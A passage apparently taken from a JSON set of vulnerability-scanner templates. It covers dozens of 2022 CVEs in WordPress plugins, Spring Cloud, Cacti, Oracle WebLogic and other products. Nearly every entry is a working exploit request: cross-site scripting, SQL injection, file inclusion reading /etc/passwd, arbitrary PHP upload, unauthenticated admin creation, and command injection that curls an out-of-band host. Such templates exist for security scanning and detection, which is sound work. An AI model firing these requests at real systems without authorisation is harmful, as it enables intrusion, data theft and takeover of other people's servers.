Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<\"\">","/Solar_History.php\" METHOD=\"post\">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28080","info":{"name":"Royal Event - SQL Injection","severity":"high"},"requests":[{"raw":["POST /royal_event/ HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 353\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD\n\n------WebKitFormBoundaryCSxQll1eihcqgIgD\nContent-Disposition: form-data; name=\"username\"\n\n{{username}}\n------WebKitFormBoundaryCSxQll1eihcqgIgD\nContent-Disposition: form-data; name=\"password\"\n\n{{password}}\n------WebKitFormBoundaryCSxQll1eihcqgIgD\nContent-Disposition: form-data; name=\"login\"\n\n\n------WebKitFormBoundaryCSxQll1eihcqgIgD--\n","POST /royal_event/btndates_report.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD\n\n------WebKitFormBoundaryFboH5ITu7DsGIGrD\nContent-Disposition: form-data; name=\"todate\"\n\n1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(\"{{randstr}}\"),0x1,0x2),NULL-- -\n------WebKitFormBoundaryFboH5ITu7DsGIGrD\nContent-Disposition: form-data; name=\"search\"\n\n3\n------WebKitFormBoundaryFboH5ITu7DsGIGrD\nContent-Disposition: form-data; name=\"fromdate\"\n\n01/01/2011\n------WebKitFormBoundaryFboH5ITu7DsGIGrD--\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","words":["{{md5(\"{{randstr}}\")}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45362","info":{"name":"WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["paytm-payments.css"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4301","info":{"name":"WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Registration Form"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38296","info":{"name":"Cuppa CMS v1.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /js/jquery_file_upload/server/php/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"path\"\n\n/\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"unique_name\"\n\ntrue\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"resize_width\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"resize_height\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"crop\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"compress\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"files[]\"; filename=\"test-{{randstr}}.jpg\"\nContent-Type: image/jpeg\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI--\n","POST /js/filemanager/api/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"from\":\"//{{filename}}\",\"to\":\"//{{randstr}}.php\",\"action\":\"rename\"}\n","GET /media/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["ed6bf8b1b4b8e64836455fe32b958c2c"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["\"name\":\"(.*?)\","],"internal":true}]}]},{"id":"CVE-2022-22963","info":{"name":"Spring Cloud - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /functionRouter HTTP/1.1\nHost: {{Hostname}}\nspring.cloud.function.routing-expression: T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")\nContent-Type: application/x-www-form-urlencoded\n\n{{rand_base(8)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http","dns"],"condition":"or"},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-0769","info":{"name":"Users Ultra <= 3.1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"You have to be logged in to leave your rate\")"],"condition":"and"}]}]},{"id":"CVE-2022-21371","info":{"name":"Oracle WebLogic Server Local File Inclusion","severity":"high"},"requests":[{"method":"GET","raw":["GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n\n"],"payloads":{"path":[".//WEB-INF/weblogic.xml",".//WEB-INF/web.xml"]},"stop-at-first-match":true,"unsafe":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body, \"\")","contains(body, \"\")"],"condition":"or"},{"type":"dsl","dsl":["contains(header, \"text/xml\")","contains(header, \"application/xml\")"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0827","info":{"name":"WordPress Best Books <=2.6.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code == 200","contains(body, \"Account added successfully\")"],"condition":"and"}]}]},{"id":"CVE-2022-32195","info":{"name":"Open edX <2022-06-06 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["click here to go to"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34328","info":{"name":"PMB 7.3.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["' target='cart_info"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4260","info":{"name":"WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1\nHost: {{Hostname}}\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes\n","GET / HTTP/1.1\nHost: {{Hostname}}\nReferer: XSS\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(body_4, \"\")","contains(content_type_4, \"text/html\")","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-28955","info":{"name":"D-Link DIR-816L - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/category_view.php","{{BaseURL}}/folder_view.php"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["SharePort Web Access"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-27593","info":{"name":"QNAP QTS Photo Station External Reference - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."],"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["!function(p,qa){","module.exports","application/javascript"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0381","info":{"name":"WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["url: \"xss://\"-alert(document.domain)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0864","info":{"name":"UpdraftPlus < 1.22.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/options-general.php?page=updraftplus&updraft_interval\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","updraftplus"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31975","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=user/manage_user&id=-6%27%20union%20select%201,md5('{{num}}'),3,4,5,6,7,8,9,10,11--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0422","info":{"name":"WordPress White Label CMS <2.2.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php?wlcms-action=preview HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nwlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["alert(/XSS/);"]},{"type":"word","part":"body","words":["wlcms-login-wrapper"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1386","info":{"name":"WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{RootURL}}\n\naction=fusion_form_update_view\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268\nOrigin: {{BaseURL}}\nReferer: {{RootURL}}\n\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"formData\"\n\nemail=example%40example.com&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva\ncy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data=\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"action\"\n\nfusion_form_submit_form_to_url\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusion_form_nonce\"\n\n{{fusionformnonce}}\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"form_id\"\n\n0\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"post_id\"\n\n0\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"field_labels\"\n\n{\"email\":\"Email address\"}\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"hidden_field_names\"\n\n[]\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusionAction\"\n\nhttps://oast.me\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusionActionMethod\"\n\nGET\n-----------------------------30259827232283860776499538268--\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Interactsh Server"]},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"fusionformnonce","internal":true,"xpath":["//*[@id=\"fusion-form-nonce-0\"]"],"attribute":"value","part":"body_1"}]}]},{"id":"CVE-2022-1058","info":{"name":"Gitea <1.16.5 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: redirect_to=//interact.sh\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["//interact.sh"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-31982","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=requests/view_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Request Detail\")"],"condition":"and"}]}]},{"id":"CVE-2022-29303","info":{"name":"SolarView Compact 6.00 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nPOST /conf_mail.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M\n"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0"]}]}]},{"id":"CVE-2022-0788","info":{"name":"WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"id\": \"(SELECT 1 FROM (SELECT(SLEEP(6)))me)\", \"formid\": \"1\", \"type\": \"online_payment\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"Invalid payment.\")"],"condition":"and"}]}]},{"id":"CVE-2022-36642","info":{"name":"Omnia MPX 1.5.0+r1 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd","{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["\"username\":","\"password\":","\"mustChangePwd\":","\"roleUser\":"],"condition":"and"},{"type":"regex","regex":["root:[x*]:0:0"]}]}]},{"id":"CVE-2022-24260","info":{"name":"VoipMonitor - Pre-Auth SQL Injection","severity":"critical"},"requests":[{"raw":["POST /api.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nmodule=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"success\":true","_vm_version","_debug"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","kval":["PHPSESSID"]}]}]},{"id":"CVE-2022-0952","info":{"name":"WordPress Sitemap by click5 <1.0.36 - Missing Authorization","severity":"high"},"requests":[{"raw":["POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"users_can_register\":\"1\"}\n","POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"default_role\":\"administrator\"}\n","POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"users_can_register\":\"0\"}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header, \"application/json\")","status_code == 200","contains(body_1, 'users_can_register')","contains(body_2, 'default_role')"],"condition":"and"}]}]},{"id":"CVE-2022-3768","info":{"name":"WordPress WPSmartContracts <1.3.12 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&uid=1 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=5","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"Batch Mint NFTs\")"],"condition":"and"}]}]},{"id":"CVE-2022-34048","info":{"name":"Wavlink WN-533A8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x\");alert(9);x=(\"&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["x\");alert(9);x=(\"?login=0\");"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43016","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=toolbar&callback=&a=authenticate HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["EVAL=","cats_connected"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43769","info":{"name":"Hitachi Pentaho Business Analytics Server - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('{{interactsh-url}}')}&mgrDn=a&pwd=a"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["false"]},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2022-1054","info":{"name":"WordPress RSVP and Event Management <2.7.8 - Missing Authorization","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RSVP Status","\"First Name\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28363","info":{"name":"Reprise License Manager 14.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Login Failed"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31980","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=teams/manage_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Control Teams\")"],"condition":"and"}]}]},{"id":"CVE-2022-0189","info":{"name":"WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nid=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29153","info":{"name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["PUT /v1/agent/check/register HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"id\":\"{{randstr}}\",\"name\":\"TEST NODE\",\"method\":\"GET\",\"http\":\"http://example.com\",\"interval\":\"10s\",\"timeout\":\"1s\",\"disable_redirects\":true}\n","PUT /v1/agent/check/deregister/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["unknown field \"disable_redirects\""]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-46169","info":{"name":"Cacti <=1.2.22 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}%20-H%20'User-Agent%3a%20{{useragent}}'; HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: 127.0.0.1\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"value\":","\"local_data_id\":"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1439","info":{"name":"Microweber <1.2.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url={{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

\n------WebKitFormBoundaryoLtdjuqj2ixPvBhA\nContent-Disposition: form-data; name=\"CSRF_token\"\n\n{{csrf}}\n------WebKitFormBoundaryoLtdjuqj2ixPvBhA--\n","GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_4 == 200","contains(content_type_4, \"text/html\")","contains(body_4, \"a63fd49130de6406a66600cd8caa162f\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"CSRF_token\" value=\"([0-9a-zA-Z]+)\"/>"],"internal":true}]}]},{"id":"CVE-2022-1815","info":{"name":"Drawio <18.1.2 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /service/0/test.oast.me HTTP/2\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, 'Interactsh Server')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2022-29006","info":{"name":"Directory Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /admin/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=admin' or '1'='1&password=1&login=login\n","GET /admin/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DMS || Dashboard","DMS Admin","Admin Profile"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0595","info":{"name":"WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161\n\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"size_limit\"\n\n10485760\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"action\"\n\ndnd_codedropz_upload\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"type\"\n\nclick\n-----------------------------92633278134516118923780781161\nContent-Disposition: form-data; name=\"upload-file\"; filename=\"{{randstr}}.svg\"\nContent-Type: image/jpeg\n\n\n-----------------------------92633278134516118923780781161--\n","GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"alert(document.domain)\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-25369","info":{"name":"Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"Success\": true","\"Success\":true"],"condition":"or"},{"type":"word","part":"header","words":["application/json","ASP.NET_SessionId"],"condition":"and","case-insensitive":true},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28023","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Master.php?f=delete_supplier HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nid=aman'+AND+(SELECT+2844+FROM+(SELECT(SLEEP(6)))FDTM)+AND+'sWZA'='sWZA\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-45917","info":{"name":"ILIAS eLearning <7.16 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/shib_logout.php?action=logout&return=https://example.com","{{BaseURL}}/ilias/shib_logout.php?action=logout&return=https://example.com"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)example\\.com\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0599","info":{"name":"WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")"],"condition":"and"},{"type":"word","part":"body","words":["id=\"mmursp_id\" value=\"\\\">\" 